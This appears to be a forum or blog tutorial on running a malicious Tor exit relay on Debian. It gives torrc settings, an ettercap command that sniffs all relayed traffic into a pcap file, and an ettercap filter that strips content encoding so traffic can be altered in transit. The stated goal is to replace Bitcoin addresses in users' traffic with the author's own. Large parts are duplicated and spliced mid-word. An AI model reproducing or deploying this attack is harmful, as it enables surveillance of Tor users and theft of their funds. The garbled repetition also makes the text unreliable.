🔰 Tutorial Tor MiTM Relay 🔰
So in light of recent events I thought I'd show you a quick way to setup a Tor MiTM Relay, this was done on Debian Buster (10.5)
Let's install Tor (You can get the latest packages by adding the Tor repo to your /apt/sources.list
🔻Code🔻
apt update
apt install tor
When those packages have finished installing Tor will automatically start running so let's stop that
🔻Code🔻
systemctl stop tor
Now remove the default Tor config
🔻Code🔻
rm /etc/tor/
torrc
Now create a new torrc file and paste the following
🔻Code🔻
touch /etc/tor/
torrc
🔻Code🔻
SOCKSPort
192.168.0.1:9100 # Bind to this address:port too, default is 9050
ExitPolicy
accept *:80-444
ExitPolicy
reject *:82-6500
ControlPort
9051
HashedControlPassword
16:BE7C48D44CF26570606B3676D65DC5357788CC1CF14006B06F5BC2399D - DO NOT USE THIS PASSWORD!
Nickname YOURRELAYNAME - CHANGE ME
ORPort
9001
SocksListenAddress
127.0.0.1
Remember to change the HASHED CONTROL PASSWORD with the following and the Nickname with whatever you want
🔻Code🔻
tor --hash-password
YOURPASSWORD
Now we are ready to run Tor if you have kept your torrc file under /etc/tor/torrc this will be the default config now run the following (not as root!)
🔻Code🔻
tor -f /etc/tor/
torrc
Wait until Tor finishes connecting and open a new root terminal now it's time to install ettercap (You could probably use another tool if you wanted)
🔻Code🔻
apt install ettercap
Now our relay is up and running so how do we start sniffing the traffic ? with one simple command
🔻Code🔻
ettercap -T -w dump.pcap -E -i
wlp2s0
This is now a Tor relay which is sniffing all the traffic going through it, you could probably add a filter to modify traffic on the fly. (Currently trying to get this working with a regex, if anyone has any ideas about this then send me a PM I've already got the filter ready just needs a little tweaking) The filter for replacing text is below adding something like this (^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$) to the script below would allow you to replace any Bitcoin address as yours (In theory)
🔻Code🔻
ASSWORD with the following and the Nickname with whatever you want
🔻Code🔻
tor --hash-password
YOURPASSWORD
Now we are ready to run Tor if you have kept your torrc file under /etc/tor/torrc this will be the default config now run the following (not as root!)
🔻Code🔻
tor -f /etc/tor/
torrc
Wait until Tor finishes connecting and open a new root terminal now it's time to install ettercap (You could probably use another tool if you wanted)
🔻Code🔻
apt install ettercap
Now our relay is up and running so how do we start sniffing the traffic ? with one simple command
🔻Code🔻
ettercap -T -w dump.pcap -E -i
wlp2s0
This is now a Tor relay which is sniffing all the traffic going through it, you could probably add a filter to modify traffic on the fly. (Currently trying to get this working with a regex, if anyone has any ideas about this then send me a PM I've already got the filter ready just needs a little tweaking) The filter for replacing text is below adding something like this (^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$) to the script below would allow you to replace any Bitcoin address as yours (In theory)
🔻Code🔻
##
# This filter will replace certain words In tcp packet
# requests befor forward the packet back to target host.
# based on code from ALoR, NaGA & Morpheus
##
##########################
## Zap Content Encoding ##
##########################
# change target request to server
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("\n[test] host:127.0.0.1 [ ⊶ ] found ☆");
msg("[test] |_ packet Accept-Encoding zapped
✔
\n");
}
}
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
msg("[test] host:127.0.0.1 [ <- ] port:80 http ☆");
if (search(DATA.data, "gzip")) {
replace("gzip", " "); # note: four spaces In the replacement string
}
}
apt install tor
When those packages have finished installing Tor will automatically start running so let's stop that
🔻Code🔻
Now remove the default Tor config
🔻Code🔻
Now create a new torrc file and paste the following
🔻Code🔻
🔻Code🔻
Nickname YOURRELAYNAME - CHANGE ME
Remember to change the HASHED CONTROL PASSWORD with the following and the Nickname with whatever you want
🔻Code🔻
Now we are ready to run Tor if you have kept your torrc file under /etc/tor/torrc this will be the default config now run the following (not as root!)
🔻Code🔻
Wait until Tor finishes connecting and open a new root terminal now it's time to install ettercap (You could probably use another tool if you wanted)
🔻Code🔻
Now our relay is up and running so how do we start sniffing the traffic ? with one simple command
🔻Code🔻
# This filter will replace certain words In tcp packet
# requests befor forward the packet back to target host.
# based on code from ALoR, NaGA & Morpheus
##
##########################
## Zap Content Encoding ##
##########################
# change target request to server
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("\n[test] host:127.0.0.1 [ ⊶ ] found ☆");
msg("[test] |_ packet Accept-Encoding zapped
}
}
if (ip.dst == '127.0.0.1' && ip.proto == TCP && tcp.dst == 80) {
msg("[test] host:127.0.0.1 [ <- ] port:80 http ☆");
if (search(DATA.data, "gzip")) {
replace("gzip", " "); # note: four spaces In the replacement string
}
}
Share and Support us.

.jpeg)
0 Comments